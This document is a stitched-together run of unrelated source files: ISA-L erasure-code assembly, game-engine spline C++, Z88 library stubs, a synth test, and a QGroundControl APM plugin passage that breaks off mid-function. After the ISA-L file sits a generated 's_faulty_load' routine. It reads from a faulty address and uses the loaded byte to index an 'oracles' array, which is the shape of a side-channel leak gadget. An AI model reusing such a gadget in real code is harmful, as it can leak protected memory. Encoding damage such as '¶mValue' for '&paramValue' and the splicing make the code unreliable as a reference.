;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;
;;; gf_6vect_dot_prod_avx(len, vec, *g_tbls, **buffs, **dests);
;;;
%include "reg_sizes.asm"
%ifidn __OUTPUT_FORMAT__, elf64
%define arg0 rdi
%define arg1 rsi
%define arg2 rdx
%define arg3 rcx
%define arg4 r8
%define arg5 r9
%define tmp r11
%define tmp2 r10
%define tmp3 r13 ; must be saved and restored
%define tmp4 r12 ; must be saved and restored
%define tmp5 r14 ; must be saved and restored
%define tmp6 r15 ; must be saved and restored
%define return rax
%define PS 8
%define LOG_PS 3
%define func(x) x:
%macro FUNC_SAVE 0
push r12
push r13
push r14
push r15
%endmacro
%macro FUNC_RESTORE 0
pop r15
pop r14
pop r13
pop r12
%endmacro
%endif
%ifidn __OUTPUT_FORMAT__, win64
%define arg0 rcx
%define arg1 rdx
%define arg2 r8
%define arg3 r9
%define arg4 r12 ; must be saved, loaded and restored
%define arg5 r15 ; must be saved and restored
%define tmp r11
%define tmp2 r10
%define tmp3 r13 ; must be saved and restored
%define tmp4 r14 ; must be saved and restored
%define tmp5 rdi ; must be saved and restored
%define tmp6 rsi ; must be saved and restored
%define return rax
%define PS 8
%define LOG_PS 3
%define stack_size 10*16 + 7*8 ; must be an odd multiple of 8
%define arg(x) [rsp + stack_size + PS + PS*x]
%define func(x) proc_frame x
%macro FUNC_SAVE 0
alloc_stack stack_size
vmovdqa [rsp + 0*16], xmm6
vmovdqa [rsp + 1*16], xmm7
vmovdqa [rsp + 2*16], xmm8
vmovdqa [rsp + 3*16], xmm9
vmovdqa [rsp + 4*16], xmm10
vmovdqa [rsp + 5*16], xmm11
vmovdqa [rsp + 6*16], xmm12
vmovdqa [rsp + 7*16], xmm13
vmovdqa [rsp + 8*16], xmm14
vmovdqa [rsp + 9*16], xmm15
save_reg r12, 10*16 + 0*8
save_reg r13, 10*16 + 1*8
save_reg r14, 10*16 + 2*8
save_reg r15, 10*16 + 3*8
save_reg rdi, 10*16 + 4*8
save_reg rsi, 10*16 + 5*8
end_prolog
mov arg4, arg(4)
%endmacro
%macro FUNC_RESTORE 0
vmovdqa xmm6, [rsp + 0*16]
vmovdqa xmm7, [rsp + 1*16]
vmovdqa xmm8, [rsp + 2*16]
vmovdqa xmm9, [rsp + 3*16]
vmovdqa xmm10, [rsp + 4*16]
vmovdqa xmm11, [rsp + 5*16]
vmovdqa xmm12, [rsp + 6*16]
vmovdqa xmm13, [rsp + 7*16]
vmovdqa xmm14, [rsp + 8*16]
vmovdqa xmm15, [rsp + 9*16]
mov r12, [rsp + 10*16 + 0*8]
mov r13, [rsp + 10*16 + 1*8]
mov r14, [rsp + 10*16 + 2*8]
mov r15, [rsp + 10*16 + 3*8]
mov rdi, [rsp + 10*16 + 4*8]
mov rsi, [rsp + 10*16 + 5*8]
add rsp, stack_size
%endmacro
%endif
%define len arg0
%define vec arg1
%define mul_array arg2
%define src arg3
%define dest arg4
%define ptr arg5
%define vec_i tmp2
%define dest1 tmp3
%define dest2 tmp4
%define vskip1 tmp5
%define vskip3 tmp6
%define pos return
%ifndef EC_ALIGNED_ADDR
;;; Use Un-aligned load/store
%define XLDR vmovdqu
%define XSTR vmovdqu
%else
;;; Use Non-temporal load/stor
%ifdef NO_NT_LDST
%define XLDR vmovdqa
%define XSTR vmovdqa
%else
%define XLDR vmovntdqa
%define XSTR vmovntdq
%endif
%endif
default rel
[bits 64]
section .text
%define xmask0f xmm15
%define xgft1_lo xmm14
%define xgft1_hi xmm13
%define xgft2_lo xmm12
%define xgft2_hi xmm11
%define xgft3_lo xmm10
%define xgft3_hi xmm9
%define x0 xmm0
%define xtmpa xmm1
%define xp1 xmm2
%define xp2 xmm3
%define xp3 xmm4
%define xp4 xmm5
%define xp5 xmm6
%define xp6 xmm7
align 16
mk_global gf_6vect_dot_prod_avx, function
func(gf_6vect_dot_prod_avx)
FUNC_SAVE
sub len, 16
jl .return_fail
xor pos, pos
vmovdqa xmask0f, [mask0f] ;Load mask of lower nibble in each byte
mov vskip1, vec
imul vskip1, 32
mov vskip3, vec
imul vskip3, 96
sal vec, LOG_PS ;vec *= PS. Make vec_i count by PS
mov dest1, [dest]
mov dest2, [dest+PS]
.loop16:
mov tmp, mul_array
xor vec_i, vec_i
vpxor xp1, xp1
vpxor xp2, xp2
vpxor xp3, xp3
vpxor xp4, xp4
vpxor xp5, xp5
vpxor xp6, xp6
.next_vect:
mov ptr, [src+vec_i]
add vec_i, PS
XLDR x0, [ptr+pos] ;Get next source vector
vmovdqu xgft1_lo, [tmp] ;Load array Ax{00}, Ax{01}, ..., Ax{0f}
vmovdqu xgft1_hi, [tmp+16] ; " Ax{00}, Ax{10}, ..., Ax{f0}
vmovdqu xgft2_lo, [tmp+vskip1*1] ;Load array Bx{00}, Bx{01}, ..., Bx{0f}
vmovdqu xgft2_hi, [tmp+vskip1*1+16] ; " Bx{00}, Bx{10}, ..., Bx{f0}
vmovdqu xgft3_lo, [tmp+vskip1*2] ;Load array Cx{00}, Cx{01}, ..., Cx{0f}
vmovdqu xgft3_hi, [tmp+vskip1*2+16] ; " Cx{00}, Cx{10}, ..., Cx{f0}
lea ptr, [vskip1 + vskip1*4] ;ptr = vskip5
vpand xtmpa, x0, xmask0f ;Mask low src nibble in bits 4-0
vpsraw x0, x0, 4 ;Shift to put high nibble into bits 4-0
vpand x0, x0, xmask0f ;Mask high src nibble in bits 4-0
vpshufb xgft1_hi, x0 ;Lookup mul table of high nibble
vpshufb xgft1_lo, xtmpa ;Lookup mul table of low nibble
vpxor xgft1_hi, xgft1_lo ;GF add high and low partials
vpxor xp1, xgft1_hi ;xp1 += partial
vpshufb xgft2_hi, x0 ;Lookup mul table of high nibble
vpshufb xgft2_lo, xtmpa ;Lookup mul table of low nibble
vpxor xgft2_hi, xgft2_lo ;GF add high and low partials
vpxor xp2, xgft2_hi ;xp2 += partial
vpshufb xgft3_hi, x0 ;Lookup mul table of high nibble
vpshufb xgft3_lo, xtmpa ;Lookup mul table of low nibble
vpxor xgft3_hi, xgft3_lo ;GF add high and low partials
vpxor xp3, xgft3_hi ;xp3 += partial
vmovdqu xgft1_lo, [tmp+vskip3] ;Load array Dx{00}, Dx{01}, ..., Dx{0f}
vmovdqu xgft1_hi, [tmp+vskip3+16] ; " Dx{00}, Dx{10}, ..., Dx{f0}
vmovdqu xgft2_lo, [tmp+vskip1*4] ;Load array Ex{00}, Ex{01}, ..., Ex{0f}
vmovdqu xgft2_hi, [tmp+vskip1*4+16] ; " Ex{00}, Ex{10}, ..., Ex{f0}
vmovdqu xgft3_lo, [tmp+ptr] ;Load array Fx{00}, Fx{01}, ..., Fx{0f}
vmovdqu xgft3_hi, [tmp+ptr+16] ; " Fx{00}, Fx{10}, ..., Fx{f0}
add tmp, 32
vpshufb xgft1_hi, x0 ;Lookup mul table of high nibble
vpshufb xgft1_lo, xtmpa ;Lookup mul table of low nibble
vpxor xgft1_hi, xgft1_lo ;GF add high and low partials
vpxor xp4, xgft1_hi ;xp4 += partial
vpshufb xgft2_hi, x0 ;Lookup mul table of high nibble
vpshufb xgft2_lo, xtmpa ;Lookup mul table of low nibble
vpxor xgft2_hi, xgft2_lo ;GF add high and low partials
vpxor xp5, xgft2_hi ;xp5 += partial
vpshufb xgft3_hi, x0 ;Lookup mul table of high nibble
vpshufb xgft3_lo, xtmpa ;Lookup mul table of low nibble
vpxor xgft3_hi, xgft3_lo ;GF add high and low partials
vpxor xp6, xgft3_hi ;xp6 += partial
cmp vec_i, vec
jl .next_vect
mov tmp, [dest+2*PS]
mov ptr, [dest+3*PS]
mov vec_i, [dest+4*PS]
XSTR [dest1+pos], xp1
XSTR [dest2+pos], xp2
XSTR [tmp+pos], xp3
mov tmp, [dest+5*PS]
XSTR [ptr+pos], xp4
XSTR [vec_i+pos], xp5
XSTR [tmp+pos], xp6
add pos, 16 ;Loop on 16 bytes at a time
cmp pos, len
jle .loop16
lea tmp, [len + 16]
cmp pos, tmp
je .return_pass
;; Tail len
mov pos, len ;Overlapped offset length-16
jmp .loop16 ;Do one more overlap pass
.return_pass:
FUNC_RESTORE
mov return, 0
ret
.return_fail:
FUNC_RESTORE
mov return, 1
ret
endproc_frame
section .data
align 16
mask0f: dq 0x0f0f0f0f0f0f0f0f, 0x0f0f0f0f0f0f0f0f
;;; func core, ver, snum
slversion gf_6vect_dot_prod_avx, 02, 04, 0195
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x13ccf, %r11
nop
nop
nop
nop
nop
add %r12, %r12
mov (%r11), %ebp
nop
nop
nop
nop
nop
and %r8, %r8
lea addresses_UC_ht+0xcca7, %rsi
lea addresses_WT_ht+0x6f4f, %rdi
sub %r8, %r8
mov $70, %rcx
rep movsl
nop
nop
nop
nop
nop
dec %rsi
lea addresses_WT_ht+0x1c1cf, %rdi
nop
nop
nop
nop
nop
and %rsi, %rsi
movups (%rdi), %xmm5
vpextrq $0, %xmm5, %rcx
nop
nop
inc %r8
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r8
push %r9
push %rcx
push %rdx
// Store
mov $0x69d3c1000000019f, %r14
nop
nop
nop
add $28330, %rcx
mov $0x5152535455565758, %rdx
movq %rdx, %xmm5
vmovntdq %ymm5, (%r14)
nop
nop
nop
nop
nop
inc %r8
// Store
lea addresses_PSE+0xfadd, %r14
nop
nop
xor $36996, %r9
mov $0x5152535455565758, %rcx
movq %rcx, %xmm0
movups %xmm0, (%r14)
xor %r11, %r11
// Faulty Load
mov $0x20da970000000dcf, %r9
nop
sub $11666, %rcx
movntdqa (%r9), %xmm0
vpextrq $0, %xmm0, %r11
lea oracles, %rdx
and $0xff, %r11
shlq $12, %r11
mov (%rdx,%r11,1), %r11
pop %rdx
pop %rcx
pop %r9
pop %r8
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
{'dst': {'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 4, 'same': False, 'type': 'addresses_NC'}, 'OP': 'STOR'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 8, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 3, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'00': 2685}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
// MIT Licensed (see LICENSE.md).
#include "Precompiled.hpp"
namespace Plasma
{
LightningDefineType(HierarchySpline, builder, type)
{
PlasmaBindComponent();
PlasmaBindSetup(SetupMode::DefaultSerialization);
PlasmaBindDocumented();
PlasmaBindEvent(Events::QuerySpline, SplineEvent);
PlasmaBindEvent(Events::SplineModified, SplineEvent);
LightningBindGetter(Spline);
LightningBindGetterSetterProperty(Closed)->PlasmaSerialize(false);
LightningBindGetterSetterProperty(SplineType)->PlasmaSerialize(SplineType::CatmullRom);
LightningBindGetterSetterProperty(Error)->PlasmaSerialize(real(0.01f));
LightningBindGetterSetterProperty(DebugDrawSpline)->PlasmaSerialize(true);
LightningBindGetterSetterProperty(SplineColor)->PlasmaSerialize(Vec4(0, 0, 0, 1));
LightningBindMethod(RebuildIfModified);
LightningBindMethod(ForceRebuild);
}
HierarchySpline::HierarchySpline()
{
mSpline = new Spline();
mSpline->SetError(real(0.01f));
mDebugDrawSpline = true;
mSplineColor = Vec4(0, 0, 0, 1);
mIsModified = true;
}
void HierarchySpline::Serialize(Serializer& stream)
{
MetaSerializeProperties(this, stream);
}
void HierarchySpline::Initialize(CogInitializer& initializer)
{
Component::Initialize(initializer);
Cog* owner = GetOwner();
// Listen for someone who wants to know if we have a spline
ConnectThisTo(owner, Events::QuerySpline, OnQuerySpline);
// Listen for any children changing to so we can recompute the spline
ConnectThisTo(owner, Events::ChildAttached, OnChildAttached);
ConnectThisTo(owner, Events::ChildDetached, OnChildDetached);
ConnectThisTo(owner, Events::ChildrenOrderChanged, OnMarkModified);
ConnectThisTo(GetSpace(), Events::FrameUpdate, OnFrameUpdate);
}
void HierarchySpline::OnAllObjectsCreated(CogInitializer& initializer)
{
GetChildrenConnections();
mIsModified = true;
}
void HierarchySpline::DebugDraw()
{
if (!mDebugDrawSpline)
return;
mSpline->DebugDraw(mSplineColor);
}
Spline* HierarchySpline::GetSpline() const
{
return mSpline;
}
bool HierarchySpline::GetClosed() const
{
return mSpline->GetClosed();
}
void HierarchySpline::SetClosed(bool closed)
{
mSpline->SetClosed(closed);
OnMarkModified(nullptr);
}
SplineType::Enum HierarchySpline::GetSplineType() const
{
return mSpline->GetSplineType();
}
void HierarchySpline::SetSplineType(SplineType::Enum splineType)
{
mSpline->SetSplineType(splineType);
OnMarkModified(nullptr);
}
real HierarchySpline::GetError() const
{
return mSpline->GetError();
}
void HierarchySpline::SetError(real error)
{
mSpline->SetError(error);
OnMarkModified(nullptr);
}
bool HierarchySpline::GetDebugDrawSpline() const
{
return mDebugDrawSpline;
}
void HierarchySpline::SetDebugDrawSpline(bool debugDrawSpline)
{
mDebugDrawSpline = debugDrawSpline;
}
Vec4 HierarchySpline::GetSplineColor() const
{
return mSplineColor;
}
void HierarchySpline::SetSplineColor(Vec4 splineColor)
{
mSplineColor = splineColor;
}
void HierarchySpline::RebuildIfModified()
{
if (!mIsModified)
return;
ForceRebuild();
}
void HierarchySpline::ForceRebuild()
{
mIsModified = false;
// Remove all of the old control points
SplineControlPoints* controlPoints = mSpline->GetControlPoints();
controlPoints->Clear();
// Add all children's positions as control points
AutoDeclare(childrenRange, GetOwner()->GetChildren());
for (; !childrenRange.Empty(); childrenRange.PopFront())
{
Cog& child = childrenRange.Front();
// When we're rebuilding because of a child being destroyed, the child
// still exists until the end of the function call. To avoid this we simply
// skip any child that is being destroyed.
if (child.GetMarkedForDestruction())
continue;
// Add the world translation of this cog (if it has a transform)
Transform* transform = child.has(Transform);
if (transform != nullptr)
controlPoints->Add(transform->GetWorldTranslation());
}
// Notify anyone who cares that the spline was modified
SplineEvent toSend;
toSend.mSpline = mSpline;
DispatchEvent(Events::SplineModified, &toSend);
}
real HierarchySpline::GetTotalDistance() const
{
return mSpline->GetTotalDistance();
}
SplineSampleData HierarchySpline::SampleDistance(real distance)
{
return mSpline->SampleDistance(distance);
}
void HierarchySpline::OnQuerySpline(SplineEvent* e)
{
// If the spline is being requested before the first frame update, we want to
// make sure it's built
RebuildIfModified();
e->mSpline = mSpline;
}
void HierarchySpline::OnFrameUpdate(UpdateEvent* e)
{
// To avoid traversing children multiple times during transform updates,
// we rebuild every frame. The user can also manually rebuild if they desire
RebuildIfModified();
DebugDraw();
}
void HierarchySpline::OnChildAttached(HierarchyEvent* e)
{
// A new child was added to us, connect all the required evens and mark
// ourself as modified
ConnectChildEvents(e->Child);
mIsModified = true;
}
void HierarchySpline::OnChildDetached(HierarchyEvent* e)
{
// A child was removed, stop listening to it and mark ourself as modified
DisconnectAll(e->Child, this);
mIsModified = true;
}
void HierarchySpline::OnMarkModified(Event* e)
{
mIsModified = true;
}
void HierarchySpline::ConnectChildEvents(Cog* child)
{
// Disconnect any connections we have to this child (so we don't get duplicate
// events)
DisconnectAll(child, this);
// Listen for transform update so we can rebuild the spline when a child moves
ConnectThisTo(child, Events::TransformUpdated, OnMarkModified);
// Listen for when destroy is called on a child so we can rebuild the spline
ConnectThisTo(child, Events::CogDestroy, OnMarkModified);
}
void HierarchySpline::GetChildrenConnections()
{
// Add connections for all children
AutoDeclare(childrenRange, GetOwner()->GetChildren());
for (; !childrenRange.Empty(); childrenRange.PopFront())
{
Cog& child = childrenRange.Front();
ConnectChildEvents(&child);
}
}
} // namespace Plasma
|
;
;
; Z88 Maths Routines
;
; C Interface for Small C+ Compiler
;
; 7/12/98 djm
;double floor(double)
;Number in FA..
INCLUDE "fpp.def"
PUBLIC floor
EXTERN fsetup
EXTERN stkequ2
.floor
call fsetup
fpp(FP_INT) ;floor it (round down!)
jp stkequ2
|
%define BPM 100
%include "../src/sointu.inc"
BEGIN_PATTERNS
PATTERN 64, 0, 68, 0, 32, 0, 0, 0, 75, 0, 78, 0, 0, 0, 0, 0,
END_PATTERNS
BEGIN_TRACKS
TRACK VOICES(1),0
END_TRACKS
BEGIN_PATCH
BEGIN_INSTRUMENT VOICES(1) ; Instrument0
SU_ENVELOPE MONO, ATTAC(32),DECAY(32),SUSTAIN(64),RELEASE(64),GAIN(128)
SU_ENVELOPE MONO, ATTAC(32),DECAY(32),SUSTAIN(64),RELEASE(64),GAIN(128)
SU_OSCILLAT MONO, TRANSPOSE(64),DETUNE(64),PHASE(0),COLOR(96),SHAPE(64),GAIN(128), FLAGS(SINE)
SU_OSCILLAT MONO, TRANSPOSE(72),DETUNE(64),PHASE(64),COLOR(64),SHAPE(96),GAIN(128), FLAGS(SINE)
SU_MULP STEREO
SU_OUT STEREO,GAIN(128)
END_INSTRUMENT
END_PATCH
%include "../src/sointu.asm"
|
;
; This file is automatically generated
;
; Do not edit!!!
;
; djm 12/2/2000
;
; ZSock Lib function: sock_abort
XLIB sock_abort
LIB no_zsock
INCLUDE "#packages.def"
INCLUDE "#zsock.def"
.sock_abort
ld a,r_sock_abort
call_pkg(tcp_all)
ret nc
; We failed..are we installed?
cp rc_pnf
scf ;signal error
ret nz ;Internal error
call_pkg(tcp_ayt)
jr nc,sock_abort
jp no_zsock
|
/****************************************************************************
*
* (c) 2009-2016 QGROUNDCONTROL PROJECT <http://www.qgroundcontrol.org>
*
* QGroundControl is licensed according to the terms in the file
* COPYING.md in the root of the source code directory.
*
****************************************************************************/
#include "APMFirmwarePlugin.h"
#include "APMAutoPilotPlugin.h"
#include "QGCMAVLink.h"
#include "QGCApplication.h"
#include "APMFlightModesComponentController.h"
#include "APMAirframeComponentController.h"
#include "APMSensorsComponentController.h"
#include "MissionManager.h"
#include "ParameterManager.h"
#include "QGCFileDownload.h"
#include "SettingsManager.h"
#include "AppSettings.h"
#include "APMMavlinkStreamRateSettings.h"
#include <QTcpSocket>
QGC_LOGGING_CATEGORY(APMFirmwarePluginLog, "APMFirmwarePluginLog")
static const QRegExp APM_COPTER_REXP("^(ArduCopter|APM:Copter)");
static const QRegExp APM_SOLO_REXP("^(APM:Copter solo-)");
static const QRegExp APM_PLANE_REXP("^(ArduPlane|APM:Plane)");
static const QRegExp APM_ROVER_REXP("^(ArduRover|APM:Rover)");
static const QRegExp APM_SUB_REXP("^(ArduSub|APM:Sub)");
static const QRegExp APM_PX4NUTTX_REXP("^PX4: .*NuttX: .*");
static const QRegExp APM_FRAME_REXP("^Frame: ");
static const QRegExp APM_SYSID_REXP("^PX4v2 ");
// Regex to parse version text coming from APM, gives out firmware type, major, minor and patch level numbers
static const QRegExp VERSION_REXP("^(APM:Copter|APM:Plane|APM:Rover|APM:Sub|ArduCopter|ArduPlane|ArduRover|ArduSub) +[vV](\\d*)\\.*(\\d*)*\\.*(\\d*)*");
// minimum firmware versions that don't suffer from mavlink severity inversion bug.
// https://github.com/diydrones/apm_planner/issues/788
static const QString MIN_SOLO_VERSION_WITH_CORRECT_SEVERITY_MSGS("APM:Copter solo-1.2.0");
static const QString MIN_COPTER_VERSION_WITH_CORRECT_SEVERITY_MSGS("APM:Copter V3.4.0");
static const QString MIN_PLANE_VERSION_WITH_CORRECT_SEVERITY_MSGS("APM:Plane V3.4.0");
static const QString MIN_SUB_VERSION_WITH_CORRECT_SEVERITY_MSGS("APM:Sub V3.4.0");
static const QString MIN_ROVER_VERSION_WITH_CORRECT_SEVERITY_MSGS("APM:Rover V2.6.0");
const char* APMFirmwarePlugin::_artooIP = "10.1.1.1"; ///< IP address of ARTOO controller
const int APMFirmwarePlugin::_artooVideoHandshakePort = 5502; ///< Port for video handshake on ARTOO controller
/*
* @brief APMFirmwareVersion is a small class to represent the firmware version
* It encabsules vehicleType, major version, minor version and patch level version
* and provides accessors for the same.
* isValid() can be used, to know whether version infromation is available or not
* supports < operator
*/
APMFirmwareVersion::APMFirmwareVersion(const QString &versionText)
{
_major = 0;
_minor = 0;
_patch = 0;
_parseVersion(versionText);
}
bool APMFirmwareVersion::isValid() const
{
return !_versionString.isEmpty();
}
bool APMFirmwareVersion::isBeta() const
{
return _versionString.contains(QStringLiteral(".rc"));
}
bool APMFirmwareVersion::isDev() const
{
return _versionString.contains(QStringLiteral(".dev"));
}
bool APMFirmwareVersion::operator <(const APMFirmwareVersion& other) const
{
int myVersion = _major << 16 | _minor << 8 | _patch ;
int otherVersion = other.majorNumber() << 16 | other.minorNumber() << 8 | other.patchNumber();
return myVersion < otherVersion;
}
void APMFirmwareVersion::_parseVersion(const QString &versionText)
{
if (versionText.isEmpty()) {
return;
}
if (VERSION_REXP.indexIn(versionText) == -1) {
qCWarning(APMFirmwarePluginLog) << "firmware version regex didn't match anything"
<< "version text to be parsed" << versionText;
return;
}
QStringList capturedTexts = VERSION_REXP.capturedTexts();
if (capturedTexts.count() < 5) {
qCWarning(APMFirmwarePluginLog) << "something wrong with parsing the version text, not hitting anything"
<< VERSION_REXP.captureCount() << VERSION_REXP.capturedTexts();
return;
}
// successful extraction of version numbers
// even though we could have collected the version string atleast
// but if the parsing has faild, not much point
_versionString = versionText;
_vehicleType = capturedTexts[1];
_major = capturedTexts[2].toInt();
_minor = capturedTexts[3].toInt();
_patch = capturedTexts[4].toInt();
}
/*
* @brief APMCustomMode encapsulates the custom modes for APM
*/
APMCustomMode::APMCustomMode(uint32_t mode, bool settable) :
_mode(mode),
_settable(settable)
{
}
void APMCustomMode::setEnumToStringMapping(const QMap<uint32_t, QString>& enumToString)
{
_enumToString = enumToString;
}
QString APMCustomMode::modeString() const
{
QString mode = _enumToString.value(modeAsInt());
if (mode.isEmpty()) {
mode = "mode" + QString::number(modeAsInt());
}
return mode;
}
APMFirmwarePluginInstanceData::APMFirmwarePluginInstanceData(QObject* parent)
: QObject(parent)
, textSeverityAdjustmentNeeded(false)
{
}
APMFirmwarePlugin::APMFirmwarePlugin(void)
: _coaxialMotors(false)
{
qmlRegisterType<APMFlightModesComponentController> ("QGroundControl.Controllers", 1, 0, "APMFlightModesComponentController");
qmlRegisterType<APMAirframeComponentController> ("QGroundControl.Controllers", 1, 0, "APMAirframeComponentController");
qmlRegisterType<APMSensorsComponentController> ("QGroundControl.Controllers", 1, 0, "APMSensorsComponentController");
}
AutoPilotPlugin* APMFirmwarePlugin::autopilotPlugin(Vehicle* vehicle)
{
return new APMAutoPilotPlugin(vehicle, vehicle);
}
bool APMFirmwarePlugin::isCapable(const Vehicle* vehicle, FirmwareCapabilities capabilities)
{
uint32_t available = SetFlightModeCapability | PauseVehicleCapability | GuidedModeCapability;
if (vehicle->multiRotor()) {
available |= TakeoffVehicleCapability;
} else if (vehicle->vtol()) {
available |= TakeoffVehicleCapability;
}
return (capabilities & available) == capabilities;
}
QList<VehicleComponent*> APMFirmwarePlugin::componentsForVehicle(AutoPilotPlugin* vehicle)
{
Q_UNUSED(vehicle);
return QList<VehicleComponent*>();
}
QStringList APMFirmwarePlugin::flightModes(Vehicle* vehicle)
{
Q_UNUSED(vehicle)
QStringList flightModesList;
foreach (const APMCustomMode& customMode, _supportedModes) {
if (customMode.canBeSet()) {
flightModesList << customMode.modeString();
}
}
return flightModesList;
}
QString APMFirmwarePlugin::flightMode(uint8_t base_mode, uint32_t custom_mode) const
{
QString flightMode = "Unknown";
if (base_mode & MAV_MODE_FLAG_CUSTOM_MODE_ENABLED) {
foreach (const APMCustomMode& customMode, _supportedModes) {
if (customMode.modeAsInt() == custom_mode) {
flightMode = customMode.modeString();
}
}
}
return flightMode;
}
bool APMFirmwarePlugin::setFlightMode(const QString& flightMode, uint8_t* base_mode, uint32_t* custom_mode)
{
*base_mode = 0;
*custom_mode = 0;
bool found = false;
foreach(const APMCustomMode& mode, _supportedModes) {
if (flightMode.compare(mode.modeString(), Qt::CaseInsensitive) == 0) {
*base_mode = MAV_MODE_FLAG_CUSTOM_MODE_ENABLED;
*custom_mode = mode.modeAsInt();
found = true;
break;
}
}
if (!found) {
qCWarning(APMFirmwarePluginLog) << "Unknown flight Mode" << flightMode;
}
return found;
}
void APMFirmwarePlugin::_handleIncomingParamValue(Vehicle* vehicle, mavlink_message_t* message)
{
Q_UNUSED(vehicle);
mavlink_param_value_t paramValue;
mavlink_param_union_t paramUnion;
memset(¶mValue, 0, sizeof(paramValue));
// APM stack passes all parameter values in mavlink_param_union_t.param_float no matter what
// type they are. Fix that up to correct usage.
mavlink_msg_param_value_decode(message, ¶mValue);
switch (paramValue.param_type) {
case MAV_PARAM_TYPE_UINT8:
paramUnion.param_uint8 = static_cast<uint8_t>(paramValue.param_value);
break;
case MAV_PARAM_TYPE_INT8:
paramUnion.param_int8 = static_cast<int8_t>(paramValue.param_value);
break;
case MAV_PARAM_TYPE_UINT16:
paramUnion.param_uint16 = static_cast<uint16_t>(paramValue.param_value);
break;
case MAV_PARAM_TYPE_INT16:
